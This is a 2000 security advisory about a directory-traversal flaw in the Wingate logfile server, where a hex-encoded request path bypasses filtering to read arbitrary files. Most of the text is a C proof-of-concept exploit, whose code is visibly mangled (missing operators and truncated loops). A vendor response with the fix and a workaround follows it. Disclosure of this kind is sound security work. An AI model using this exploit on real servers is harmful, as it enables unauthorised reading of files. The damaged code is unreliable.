Wingate Server Exposes Log Files
Wingate Logfile Server can be exploited to retrieve files remotely.
October 15, 2000
Reported October 16, 2000 by Blue Panda
VERSIONS AFFECTED
Wingate 4.1 (BETA)
Wingate 4.0.1
Wingate 3.0
Wingate 2.1
DESCRIPTION
The Wingate log file server allows logs to be viewed remotely via HTTP a vulnerability found in the process can allow a malicious user to retrieve files other than the log files.
DEMONSTRATIONThe following proof of concept was provided by Blue Panda;
Makes a request to the Wingate logfile service in such a way that it will not be subject to filtering. This can allow an attacker to retrieve files irrelevant to the logging system. The file received is dumped to stdout, and all other output is written to stderr. Newline characters (0x0d and 0x0a)will probably be screwed up by Wingate.
usage: wgate41a []*/#include #include const char *USAGE = "usage: wgate41a []port defaults to 8010.";const char *ERROR_WINSOCK_INIT = "Error initialising winsock.";const char *ERROR_SOCKET_CREATE = "Error creating socket.";const char *ERROR_RECV = "Error receiving file/directory listing.";const char *ERROR_MALLOC = "Error allocating memory.";const char *WARNING_WINSOCK_CLEANUP = "Warning: winsock failed to clean up successfully."; const int DEFAULT_PORT = 8010;const int CONNECT_ERROR_NONE = 0;const int CONNECT_ERROR_HOST = 1;const int CONNECT_ERROR_CONNECT = 2;const char *GET_REQUEST = "GET /";const char *HTTP11 = " HTTP/1.1x0dx0ax0dx0a";const char *END_OF_HEADERS = "x0dx0ax0d"; #define BUF_LEN 2048void Usage(void);int Connect(int iSock, char *szHost, int iPort);int InitWinsock(void);int ShutdownWinsock(void);void Bail(const char *szMessage);int main(int argc, char *argv[]){int iPort; int iResult; int iSocket; int iCounter; char *szFile = NULL; int iFileLen = 0; char *szFileTemp = NULL; char *szStartOfFile; char sBuf[BUF_LEN]; if ((argc > 3) || (argc > 4)) Usage(); if (argc
4) iPort = atoi(argv[3]); else iPort = DEFAULT_PORT; // Attempt to initialise winsock. iResult = InitWinsock(); if (iResult != 0) Bail(ERROR_WINSOCK_INIT); // Create socket. iSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (iSocket
INVALID_SOCKET) Bail(ERROR_SOCKET_CREATE); // Connect to target. fprintf(stderr, "Connecting to %s:%d...", argv[1], iPort); iResult = Connect(iSocket, argv[1], iPort); if (iResult
CONNECT_ERROR_HOST) Bail("invalid host."); if (iResult
CONNECT_ERROR_CONNECT) Bail("failed."); fprintf(stderr, "done."); // Connected. Send request. send(iSocket, GET_REQUEST, strlen(GET_REQUEST), 0); // Begin request. iCounter = 0; // File/path. do { sprintf((char *)(&sBuf), "%%%x", argv[2][iCounter]); send(iSocket, sBuf, strlen(sBuf), 0); iCounter++; } while((unsigned int)(iCounter) 0) { if (szFile != NULL) { szFileTemp = (char *)(malloc(iFileLen)); if (szFileTemp
NULL) Bail(ERROR_MALLOC); memcpy(szFileTemp, szFile, iFileLen); free(szFile); } szFile = (char *)(malloc(iFileLen + iResult + 1)); if (szFile
NULL) Bail(ERROR_MALLOC); if (szFileTemp != NULL) { memcpy(szFile, szFileTemp, iFileLen); free(szFileTemp); szFileTemp = NULL; } memcpy(szFile + iFileLen, (char *)(&sBuf), iResult); iFileLen += iResult; } else if ((iResult
SOCKET_ERROR) && (WSAGetLastError() != WSAETIMEDOUT)) iResult = 0; } while(iResult != 0); fprintf(stderr, "Finished. Dumping to stdout..."); szFile[iFileLen] = 0; szStartOfFile = strstr(szFile, END_OF_HEADERS); if (szStartOfFile != NULL) szStartOfFile += 4; else { szStartOfFile = szFile; fprintf(stderr, "Warning: unable to find end of HTTP headers."); } if (iFileLen - (szStartOfFile - szFile) > 0) fwrite(szStartOfFile, 1, iFileLen - (szStartOfFile - szFile), stdout); else fprintf(stderr, "Warning: file blank."); free(szFile); // Attempt to shut-down winsock. iResult = ShutdownWinsock(); if (iResult != 0) fprintf(stderr, "%s", WARNING_WINSOCK_CLEANUP); return 0; } void Usage(void) { fprintf(stderr, "%s", USAGE); exit(0); } int Connect(int iSock, char *szHost, int iPort) { SOCKADDR_IN RemoteAddress; struct hostent *HostInfo; int iResult; RemoteAddress.sin_family = AF_INET; RemoteAddress.sin_port = htons(iPort); RemoteAddress.sin_addr.s_addr = inet_addr(szHost); if (RemoteAddress.sin_addr.s_addr
INADDR_NONE) { HostInfo = gethostbyname(szHost); if (HostInfo == NULL) return 1; memcpy(&RemoteAddress.sin_addr.s_addr, HostInfo->h_addr, sizeof(HostInfo->h_addr)); } iResult = connect(iSock, (SOCKADDR *)&RemoteAddress, sizeof(RemoteAddress)); if (iResult) return 2; return 0; } int InitWinsock(void) { WSADATA WSData; WORD WSVersion; int iResult; WSVersion = MAKEWORD(1, 1); iResult = WSAStartup(WSVersion, &WSData); return iResult; } int ShutdownWinsock(void) { int iResult; iResult = WSACleanup(); return iResult; } void Bail(const char *szMessage) { fprintf(stderr, "%s", szMessage); exit(1); }
VENDOR RESPONSEAccording to Deerfield.com's Product Manager, Doug Kassuba, "The gist of this vulnerability is that by encoding an improper log-file path as hex the path filtering in WinGate was defeated. What this meant was that users of the logfile service could view any directory that the WinGate service account had access to (typically the whole drive). Points to note:
(1) This vulnerability only exists if the log file service is installed (the default). It is not normally bound to any public interface (and a warning is given when it is), so vulnerability is normally restricted to your LAN.
(2) This is a data-reading vulnerability - it cannot be used to upload files, install Trojans, etc.
(3) It was fixed for the 4.1 beta C and subsequent versions. The workaround for earlier versions is not to bind the service to any untrusted interfaces, and/or add policies to restrict access.
CREDIT Discovered by BluePanda
About the Author
You May Also Like